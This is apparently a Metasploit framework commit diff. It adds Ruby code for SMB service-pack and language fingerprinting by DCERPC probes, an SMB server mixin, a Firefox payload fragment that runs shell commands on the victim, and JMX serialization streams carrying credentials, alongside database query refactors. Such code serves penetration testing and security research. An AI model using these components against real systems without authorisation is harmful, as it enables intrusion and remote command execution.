error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Remove remote file
#
# @param file (see #smb_file_exist?)
# @return [void]
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
#
# Fingerprinting methods
#
# Calls the EnumPrinters() function of the spooler service
def smb_enumprinters(flags, name, level, blen)
stub =
NDR.long(flags) +
(name ? NDR.uwstring(name) : NDR.long(0)) +
NDR.long(level) +
NDR.long(rand(0xffffffff)+1)+
NDR.long(blen) +
"\x00" * blen +
NDR.long(blen)
handle = dcerpc_handle(
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
'ncacn_np', ["\\SPOOLSS"]
)
begin
dcerpc_bind(handle)
dcerpc.call(0x00, stub)
return dcerpc.last_response.stub_data
rescue ::Interrupt
raise $!
rescue ::Exception => e
return nil
end
end
# This method dumps the print provider strings from the spooler
def smb_enumprintproviders
resp = smb_enumprinters(8, nil, 1, 0)
return nil if not resp
rptr, tmp, blen = resp.unpack("V*")
resp = smb_enumprinters(8, nil, 1, blen)
return nil if not resp
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
return nil if stat != 0
return nil if pcnt == 0
return nil if bcnt > blen
return nil if pcnt < 3
#
# The correct way, which leads to invalid offsets :-(
#
#providers = []
#
#0.upto(pcnt-1) do |i|
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
#
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
# #providers << [flags,desc,name,comm]
#end
#
#providers
return resp
end
# This method performs an extensive set of fingerprinting operations
def smb_fingerprint
fprint = {}
# Connect to the server if needed
if not self.simple
connect()
smb_login()
end
fprint['native_os'] = smb_peer_os()
fprint['native_lm'] = smb_peer_lm()
# Leverage Recog for SMB native OS fingerprinting
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
os = fp_match['os.product'] || 'Unknown'
sp = fp_match['os.version'] || ''
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
if os =~ /^Windows Server/
os = os.sub(/^Windows Server/, 'Windows')
end
if fp_match['os.edition']
fprint['edition'] = fp_match['os.edition']
end
if fp_match['os.build']
fprint['build'] = fp_match['os.build']
end
if sp == ''
sp = smb_fingerprint_windows_sp(os)
end
lang = smb_fingerprint_windows_lang
fprint['os'] = os
fprint['sp'] = sp
fprint['lang'] = lang
fprint
end
#
# Determine the service pack level of a Windows system via SMB probes
#
def smb_fingerprint_windows_sp(os)
sp = ''
if (os == 'Windows XP')
# SRVSVC was blocked in SP2
begin
smb_create("\\SRVSVC")
sp = 'Service Pack 0 / 1'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 2+'
end
end
end
if (os == 'Windows 2000' and sp.length == 0)
# LLSRPC was blocked in a post-SP4 update
begin
smb_create("\\LLSRPC")
sp = 'Service Pack 0 - 4'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 4 with MS05-010+'
end
end
end
#
# Perform granular XP SP checks if LSARPC is exposed
#
if (os == 'Windows XP')
#
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
# Credit to spoonm for first use of unbounded [out] buffers
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub =
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.long(64001) +
NDR.long(0) +
NDR.long(0)
dcerpc.call(0x22, stub)
sp = "Service Pack 0 / 1"
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
sp = "Service Pack 2+"
rescue ::Exception
end
#
# Service Pack 3 fixed information leaks via [unique][out] pointers
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
# Credit:
# Pointer leak is well known, but Immunity also covered in a paper
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
resp = dcerpc.call(0x1c, stub)
if(resp and resp[0,4] == "\x00\x00\x02\x00")
sp = "Service Pack 3"
else
if(resp and sp =~ /Service Pack 2\+/)
sp = "Service Pack 2"
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Exception
end
end
sp
end
#
# Determine the native language pack of a Windows system via SMB probes
#
def smb_fingerprint_windows_lang
#
# Remote language detection via Print Providers
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
#
lang = 'Unknown'
sigs =
{
'English' =>
[
Rex::Text.to_unicode('Windows NT Remote Printers'),
Rex::Text.to_unicode('LanMan Print Services')
],
'Spanish' =>
[
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
],
'Italian' =>
[
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
Rex::Text.to_unicode('Servizi di stampa LanMan')
],
'French' =>
[
Rex::Text.to_unicode('Imprimantes distantes NT'),
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
Rex::Text.to_unicode("Services d'impression LanMan")
],
'German' =>
[
Rex::Text.to_unicode('Remotedrucker')
],
'Portuguese - Brazilian' =>
[
Rex::Text.to_unicode('Impr. remotas Windows NT'),
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
],
'Portuguese' =>
[
Rex::Text.to_unicode('Imp. remotas do Windows NT')
],
'Hungarian' =>
[
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
],
'Finnish' =>
[
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
],
'Dutch' =>
[
Rex::Text.to_unicode('Externe printers voor NT')
],
'Danish' =>
[
Rex::Text.to_unicode('Fjernprintere')
],
'Swedish' =>
[
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
],
'Polish' =>
[
Rex::Text.to_unicode('Zdalne drukarki')
],
'Czech' =>
[
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
],
'Turkish' =>
[
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
],
'Japanese' =>
[
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
],
'Chinese - Traditional' =>
[
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
],
'Chinese - Traditional / Taiwan' =>
[
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
],
'Korean' =>
[
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
],
'Russian' =>
[
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
],
}
begin
prov = smb_enumprintproviders()
if(prov)
sigs.each_key do |k|
sigs[k].each do |s|
if(prov.index(s))
lang = k
break
end
break if lang != 'Unknown'
end
break if lang != 'Unknown'
end
if(lang == 'Unknown')
@fpcache ||= {}
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
if(not @fpcache[mhash])
buff = "\n"
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
buff << " VERS: $Revision$\n"
buff << " HOST: #{rhost}\n"
buff << " OS: #{os}\n"
buff << " SP: #{sp}\n"
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
next if line.length == 0
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
buff << " TXT: #{line}\n"
end
buff << "*** END FINGERPRINT\n"
print_line(buff)
@fpcache[mhash] = true
end
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
lang
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end
end
end

View File

@ -4,9 +4,9 @@ module Msf
# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced
# Included when the module needs credentials to function
module Exploit::Remote::SMB::Authenticated
module Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super
@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
], Msf::Exploit::Remote::SMB::Authenticated)
], Msf::Exploit::Remote::SMB::Client::Authenticated)
end
end

View File

@ -11,11 +11,11 @@ module Msf
# and running a binary.
####
module Exploit::Remote::SMB::Psexec
module Exploit::Remote::SMB::Client::Psexec
include Rex::Constants::Windows
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Exploit::Remote::SMB::Client::Authenticated
def initialize(info = {})
super

View File

@ -0,0 +1,149 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB
# This mixin provides a minimal SMB server
module Server
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::NTLM
CONST = ::Rex::Proto::SMB::Constants
CRYPT = ::Rex::Proto::SMB::Crypt
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
def initialize(info = {})
super
deregister_options('SSL', 'SSLCert')
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end
def setup
super
@state = {}
end
def on_client_connect(client)
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
smb_conn(client)
end
def on_client_data(client)
# print_status("New data from #{client.peerhost}:#{client.peerport}")
smb_recv(client)
true
end
def on_client_close(client)
smb_stop(client)
end
def smb_conn(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
end
def smb_stop(c)
@state.delete(c)
end
def smb_recv(c)
smb = @state[c]
smb[:data] ||= ''
smb[:data] << c.get_once
while(smb[:data].length > 0)
return if smb[:data].length < 4
plen = smb[:data][2,2].unpack('n')[0]
return if smb[:data].length < plen+4
buff = smb[:data].slice!(0, plen+4)
pkt_nbs = CONST::NBRAW_PKT.make_struct
pkt_nbs.from_s(buff)
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
# Check for a NetBIOS name request
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
c.write("\x82\x00\x00\x00")
next
end
#
# TODO: Support AndX parameters
#
# Cast this to a generic SMB structure
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
# Only response to requests, ignore server replies
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
print_status("Ignoring server response from #{smb[:name]}")
next
end
cmd = pkt['Payload']['SMB'].v['Command']
begin
smb_cmd_dispatch(cmd, c, buff)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
next
end
end
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
print_status("Received command #{cmd} from #{smb[:name]}")
end
def smb_set_defaults(c, pkt)
smb = @state[c]
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
end
def smb_error(cmd, c, errorclass, esn = false)
# 0xc0000022 = Deny
# 0xc000006D = Logon_Failure
# 0x00000000 = Ignore
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)
end
end
end
end

View File

@ -1,153 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# This mixin provides a minimal SMB server
#
###
module Exploit::Remote::SMBServer
include Exploit::Remote::TcpServer
include Exploit::NTLM
CONST = ::Rex::Proto::SMB::Constants
CRYPT = ::Rex::Proto::SMB::Crypt
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
def initialize(info = {})
super
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end
def setup
super
@state = {}
end
def on_client_connect(client)
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
smb_conn(client)
end
def on_client_data(client)
# print_status("New data from #{client.peerhost}:#{client.peerport}")
smb_recv(client)
true
end
def on_client_close(client)
smb_stop(client)
end
def smb_conn(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
end
def smb_stop(c)
@state.delete(c)
end
def smb_recv(c)
smb = @state[c]
smb[:data] ||= ''
smb[:data] << c.get_once
while(smb[:data].length > 0)
return if smb[:data].length < 4
plen = smb[:data][2,2].unpack('n')[0]
return if smb[:data].length < plen+4
buff = smb[:data].slice!(0, plen+4)
pkt_nbs = CONST::NBRAW_PKT.make_struct
pkt_nbs.from_s(buff)
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
# Check for a NetBIOS name request
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
c.write("\x82\x00\x00\x00")
next
end
#
# TODO: Support AndX parameters
#
# Cast this to a generic SMB structure
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
# Only response to requests, ignore server replies
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
print_status("Ignoring server response from #{smb[:name]}")
next
end
cmd = pkt['Payload']['SMB'].v['Command']
begin
smb_cmd_dispatch(cmd, c, buff)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
next
end
end
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
print_status("Received command #{cmd} from #{smb[:name]}")
end
def smb_set_defaults(c, pkt)
smb = @state[c]
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
end
def smb_error(cmd, c, errorclass, esn = false)
# 0xc0000022 = Deny
# 0xc000006D = Logon_Failure
# 0x00000000 = Ignore
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)
end
end
end

View File

@ -141,6 +141,8 @@ module Exploit::Remote::SMTPDeliver
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
resp = raw_send_recv("DATA\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
if datastore['DATE'].present?
@ -154,8 +156,6 @@ module Exploit::Remote::SMTPDeliver
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
end
resp = raw_send_recv("DATA\r\n", nsock)
# Avoid sending tons of data and killing the connection if the server
# didn't like us.
if not resp or not resp[0,3] == '354'

View File

@ -175,14 +175,16 @@ module Msf::Payload::Firefox
stdout.append(stdoutFile);
var shell;
cmd = cmd.trim();
if (windows) {
shell = shPath+" "+cmd.trim();
shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]

View File

@ -49,9 +49,6 @@ module UserProfiles
#
def parse_profile(hive)
profile={}
sidinf = resolve_sid(hive['SID'].to_s)
profile['UserName'] = sidinf[:name]
profile['Domain'] = sidinf[:domain]
profile['SID'] = hive['SID']
profile['ProfileDir'] = hive['PROF']
profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData')
@ -65,6 +62,12 @@ module UserProfiles
profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir'])
profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH')
sidinf = resolve_sid(hive['SID'].to_s)
if sidinf
profile['UserName'] = sidinf[:name]
profile['Domain'] = sidinf[:domain]
end
return profile
end

View File

@ -55,7 +55,7 @@ private
return hosts if opts[:addresses].class != Array
conditions = {}
conditions[:address] = opts[:addresses]
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
hosts |= hent if hent.class == Array
end
return hosts
@ -73,7 +73,7 @@ private
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = h.services.all(:conditions => conditions)
sret = h.services.where(conditions)
next if sret == nil
services |= sret if sret.class == Array
services << sret if sret.class == ::Mdm::Service
@ -85,7 +85,7 @@ private
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = wspace.services.all(:conditions => conditions)
sret = wspace.services.where(conditions)
services |= sret if sret.class == Array
services << sret if sret.class == ::Mdm::Service
end
@ -189,8 +189,7 @@ public
ret = {}
ret[:hosts] = []
wspace.hosts.all(:conditions => conditions, :order => :address,
:limit => limit, :offset => offset).each do |h|
wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h|
host = {}
host[:created_at] = h.created_at.to_i
host[:address] = h.address.to_s
@ -226,8 +225,7 @@ public
ret = {}
ret[:services] = []
wspace.services.all(:include => :host, :conditions => conditions,
:limit => limit, :offset => offset).each do |s|
wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s|
service = {}
host = s.host
service[:host] = host.address || "unknown"
@ -258,7 +256,7 @@ public
ret = {}
ret[:vulns] = []
wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v|
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
vuln = {}
reflist = v.refs.map { |r| r.name }
if(v.service)
@ -423,7 +421,7 @@ public
conditions[:proto] = opts[:proto] if opts[:proto]
conditions[:port] = opts[:port] if opts[:port]
conditions[:name] = opts[:names] if opts[:names]
sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port")
sret = wspace.services.where(conditions).order("hosts.address, port")
else
sret = host.services
end
@ -564,8 +562,7 @@ public
ret = {}
ret[:notes] = []
wspace.notes.all(:include => [:host, :service], :conditions => conditions,
:limit => limit, :offset => offset).each do |n|
wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n|
note = {}
note[:time] = n.created_at.to_i
note[:host] = ""
@ -737,7 +734,7 @@ public
elsif opts[:addresses]
return { :result => 'failed' } if opts[:addresses].class != Array
conditions = { :address => opts[:addresses] }
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
return { :result => 'failed' } if hent == nil
hosts |= hent if hent.class == Array
hosts << hent if hent.class == ::Mdm::Host
@ -749,7 +746,7 @@ public
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = h.services.all(:conditions => conditions)
sret = h.services.where(conditions)
next if sret == nil
services << sret if sret.class == ::Mdm::Service
services |= sret if sret.class == Array
@ -761,7 +758,7 @@ public
conditions = {}
conditions[:port] = opts[:port] if opts[:port]
conditions[:proto] = opts[:proto] if opts[:proto]
sret = wspace.services.all(:conditions => conditions)
sret = wspace.services.where(conditions)
services << sret if sret and sret.class == ::Mdm::Service
services |= sret if sret and sret.class == Array
end
@ -794,7 +791,7 @@ public
elsif opts[:addresses]
return { :result => 'failed' } if opts[:addresses].class != Array
conditions = { :address => opts[:addresses] }
hent = wspace.hosts.all(:conditions => conditions)
hent = wspace.hosts.where(conditions)
return { :result => 'failed' } if hent == nil
hosts |= hent if hent.class == Array
hosts << hent if hent.class == ::Mdm::Host
@ -829,7 +826,7 @@ public
ret = {}
ret[:events] = []
wspace.events.all(:limit => limit, :offset => offset).each do |e|
wspace.events.offset(offset).limit(limit).each do |e|
event = {}
event[:host] = e.host.address if(e.host)
event[:created_at] = e.created_at.to_i
@ -874,7 +871,7 @@ public
ret = {}
ret[:loots] = []
wspace.loots.all(:limit => limit, :offset => offset).each do |l|
wspace.loots.offset(offset).limit(limit).each do |l|
loot = {}
loot[:host] = l.host.address if(l.host)
loot[:service] = l.service.name || l.service.port if(l.service)
@ -964,8 +961,7 @@ public
ret = {}
ret[:clients] = []
wspace.clients.all(:include => :host, :conditions => conditions,
:limit => limit, :offset => offset).each do |c|
wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c|
client = {}
client[:host] = c.host.address.to_s if c.host
client[:ua_string] = c.ua_string
@ -999,7 +995,7 @@ public
conditions = {}
conditions[:ua_name] = opts[:ua_name] if opts[:ua_name]
conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver]
cret = h.clients.all(:conditions => conditions)
cret = h.clients.where(conditions)
else
cret = h.clients
end

View File

@ -77,9 +77,17 @@ module Msf::HTTP::Wordpress::URIs
#
# @return [String] Wordpress Admin Ajax URL
def wordpress_url_admin_ajax
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
normalize_uri(wordpress_url_backend, 'admin-ajax.php')
end
# Returns the Wordpress Admin Posts URL
#
# @return [String] Wordpress Admin Post URL
def wordpress_url_admin_post
normalize_uri(wordpress_url_backend, 'admin-post.php')
end
# Returns the Wordpress wp-content dir URL
#
# @return [String] Wordpress wp-content dir URL

39
lib/msf/java/jmx.rb Normal file
View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Jmx
require 'msf/java/jmx/util'
require 'msf/java/jmx/discovery'
require 'msf/java/jmx/handshake'
require 'msf/java/jmx/mbean'
include Msf::Java::Jmx::Util
include Msf::Java::Jmx::Discovery
include Msf::Java::Jmx::Handshake
include Msf::Java::Jmx::Mbean
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
], HTTP::Wordpress
)
end
def jmx_role
datastore['JMX_ROLE']
end
def jmx_password
datastore['JMX_PASSWORD']
end
end
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle JMX end points discovery
module Discovery
# Builds a Rex::Java::Serialization::Model::Stream to discover
# an JMX RMI endpoint
#
# @return [Rex::Java::Serialization::Model::Stream]
def discovery_stream
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
block_data = Rex::Java::Serialization::Model::BlockData.new(
nil,
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
stream
end
end
end
end
end

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle a JMX handshake
module Handshake
# Builds a Rex::Java::Serialization::Model::Stream to make
# a JMX handshake with an endpoint
#
# @param id [String] The endpoint UnicastRef ObjId
# @return [Rex::Java::Serialization::Model::Stream]
def handshake_stream(obj_id)
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
if jmx_role
username = jmx_role
password = jmx_password || ''
stream.contents << auth_array_stream(username, password)
else
stream.contents << Rex::Java::Serialization::Model::NullReference.new
end
stream
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an authenticated handshake
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Rex::Java::Serialization::Model::NewArray]
def auth_array_stream(username, password)
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
auth_array
end
end
end
end
end

13
lib/msf/java/jmx/mbean.rb Normal file
View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
require 'msf/java/jmx/mbean/server_connection'
include Msf::Java::Jmx::Mbean::ServerConnection
end
end
end
end

View File

@ -0,0 +1,155 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
# This module provides methods which help to handle with MBean related calls.
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
# class
module ServerConnection
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the createMBean method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def create_mbean_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
# Java getObjectInstance method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def get_object_instance_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
